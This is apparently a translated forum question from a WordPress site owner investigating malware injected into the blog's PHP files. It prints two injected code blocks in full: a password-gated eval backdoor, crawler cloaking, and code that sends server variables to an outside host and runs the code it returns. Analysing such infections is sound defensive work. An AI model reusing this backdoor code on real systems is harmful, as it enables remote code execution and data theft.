wordpress - 调查 Wordpress 博客上使用的 Drupalgeddon 漏洞利用

问题描述

Google 安全浏览最近在我们的 Wordpress 博客上检测到恶意软件。后来我们发现有人成功地在我们的一些 php 文件中注入了代码块。我正在尝试了解恶意软件、访问损坏情况、了解如何恢复我们的系统，以及这对受影响的用户意味着什么。

问题：

它是恶意的吗？-> 是的
它有什么作用？或者它对我们的用户做了什么？-> 远程代码执行
Drupal 漏洞如何影响 Wordpress 博客？-> Wp插件？？？
将这样的代码注入 wp-blog 的可能方式是什么？
发生这种情况是因为 Drupalgeddon- Internet 安全警报代码：055BCCAC9FEC
由于此代码设置的 cookie，即使在我们清理服务器后，我们网站的回访用户也会受到影响。

攻击中使用的两个代码块

第一的：

if (md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d")
{
eval(base64_decode($_POST["cookies_p"]));
}

if(strpos($_SERVER[REQUEST_URI], "post_render") !== false)
{
    $patchedfv = "GHKASMVG";
}

if (isset($_REQUEST[fdgdfgvv]))
{
    if (md5($_REQUEST[fdgdfgvv]) === "93ad003d7fc57aae938ba483a65ddf6d")
    {
        $patchedfv = "SDFDFSDF";
    }
}

if($patchedfv === "GHKASMVG")
{
    @ob_end_clean();
    die;
}

error_reporting(0);

if (!$kjdke_c)
{
    global $kjdke_c;
    $kjdke_c = 1;
    global $include_test;
    $include_test = 1;
    $bkljg = $_SERVER["HTTP_USER_AGENT"];
    $ghfju = array(
        "Google",
        "Slurp",
        "MSNBot",
        "ia_archiver",
        "Yandex",
        "Rambler",
        "bot",
        "spid",
        "Lynx",
        "PHP",
        "WordPress" . "integromedb",
        "SISTRIX",
        "Aggregator",
        "findlinks",
        "Xenu",
        "BacklinkCrawler",
        "Scheduler",
        "mod_pagespeed",
        "Index",
        "ahoo",
        "Tapatalk",
        "PubSub",
        "RSS",
        "WordPress"
    );
    if (!($_GET[df] === "2") and !($_POST[dl] === "2") and ((preg_match("/" . implode("|", $ghfju) . "/i", $bkljg)) or (@$_COOKIE[condtions]) or (!$bkljg) or ($_SERVER[HTTP_REFERER] === "http://" . $_SERVER[SERVER_NAME] . $_SERVER[REQUEST_URI]) or ($_SERVER[REMOTE_ADDR] === "127.0.0.1") or ($_SERVER[REMOTE_ADDR] === $_SERVER[SERVER_ADDR]) or ($_GET[df] === "1") or ($_POST[dl] === "1")))
    {
    }
    else
    {
        foreach($_SERVER as $ndbv => $cbcd)
        {
            $data_nfdh.= "&REM_" . $ndbv . "=\'" . base64_encode($cbcd) . "\'";
        }

        $context_jhkb = stream_context_create(array(
            http => array(
                timeout => 15,
                header => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9\\r\\nConnection: Close\\r\\n\\r\\n",
                method => POST,
                content => "REM_REM=\'1\'" . $data_nfdh
            )
        ));
        $vkfu = file_get_contents("http://nortservis.net/session.php?id", false, $context_jhkb);
        if ($vkfu)
        {
            @eval($vkfu);
        }
        else
        {
            ob_start();
            if (!@headers_sent())
            {
                @setcookie("condtions", "2", time() + 172800);
            }
            else
            {
                echo "<script>document.cookie=\'condtions=2; path=/; expires=" . date(D, d - M - YH:i:s, time() + 172800) . " GMT;\';</script>";
            };

        };

    }

}

第二：

if (md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d")
{
    eval(base64_decode($_POST["cookies_p"]));
}

if (strpos($_SERVER[REQUEST_URI], "post_render") !== false)
{
    $patchedfv = "GHKASMVG";
}

if (isset($_REQUEST[fdgdfgvv]))
{
    if (md5($_REQUEST[fdgdfgvv]) === "93ad003d7fc57aae938ba483a65ddf6d")
    {
        $patchedfv = "SDFDFSDF";
    }
}

if ($patchedfv === "GHKASMVG")
{
    @ob_end_clean();
    die;
}

if (strpos($_SERVER["HTTP_USER_AGENT"], "Win") === false)
{
    $kjdke_c = 1;
}

error_reporting(0);

if (!$kjdke_c)
{
    global $kjdke_c;
    $kjdke_c = 1;
    global $include_test;
    $include_test = 1;
    $bkljg = $_SERVER["HTTP_USER_AGENT"];
    $ghfju = array(
        "Google",
        "Slurp",
        "MSNBot",
        "ia_archiver",
        "Yandex",
        "Rambler",
        "bot",
        "spid",
        "Lynx",
        "PHP",
        "WordPress" . "integromedb",
        "SISTRIX",
        "Aggregator",
        "findlinks",
        "Xenu",
        "BacklinkCrawler",
        "Scheduler",
        "mod_pagespeed",
        "Index",
        "ahoo",
        "Tapatalk",
        "PubSub",
        "RSS",
        "WordPress"
    );
    if (!($_GET[df] === "2") and !($_POST[dl] === "2") and ((preg_match("/" . implode("|", $ghfju) . "/i", $bkljg)) or (@$_COOKIE[condtions]) or (!$bkljg) or ($_SERVER[HTTP_REFERER] === "http://" . $_SERVER[SERVER_NAME] . $_SERVER[REQUEST_URI]) or ($_SERVER[REMOTE_ADDR] === "127.0.0.1") or ($_SERVER[REMOTE_ADDR] === $_SERVER[SERVER_ADDR]) or ($_GET[df] === "1") or ($_POST[dl] === "1")))
    {
    }
    else
    {
        foreach($_SERVER as $ndbv => $cbcd)
        {
            $data_nfdh.= "&REM_" . $ndbv . "=\'" . base64_encode($cbcd) . "\'";
        }

        $context_jhkb = stream_context_create(array(
            http => array(
                timeout => 15,
                header => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9\\r\\nConnection: Close\\r\\n\\r\\n",
                method => POST,
                content => "REM_REM=\'1\'" . $data_nfdh
            )
        ));
        $vkfu = file_get_contents("http://nortservis.net/session.php?id", false, $context_jhkb);
        if ($vkfu)
        {
            @eval($vkfu);
        }
        else
        {
            ob_start();
            if (!@headers_sent())
            {
                @setcookie("condtions", "2", time() + 172800);
            }
            else
            {
                echo "<script>document.cookie=\'condtions=2; path=/; expires=" . date(D, d - M - YH:i:s, time() + 172800) . " GMT;\';</script>";

            };

        };

    }

}

到目前为止的结论： 感谢@Alex Howansky，现在可以肯定它是一种恶意软件。并且可能被用来执行任何类型的攻击（例如：上面的攻击或随机重定向到阴暗的网站）。但我仍在尝试了解我们的 Wordpress 博客是如何被感染的，以及如何防止这种情况发生

还有一件事： 谷歌在我们的 wordpress 博客上检测到了这个恶意软件。托管在 /blog。但是 google 和其他搜索引擎将整个域标记为恶意软件，因此用户无法访问我们托管在根域中的 react 应用程序。整个域是否受到损害？我们的反应应用程序安全吗？

标签： wordpressreactjssecuritywebdrupal

wordpress - 调查 Wordpress 博客上使用的 Drupalgeddon 漏洞利用

问题描述

解决方案

推荐阅读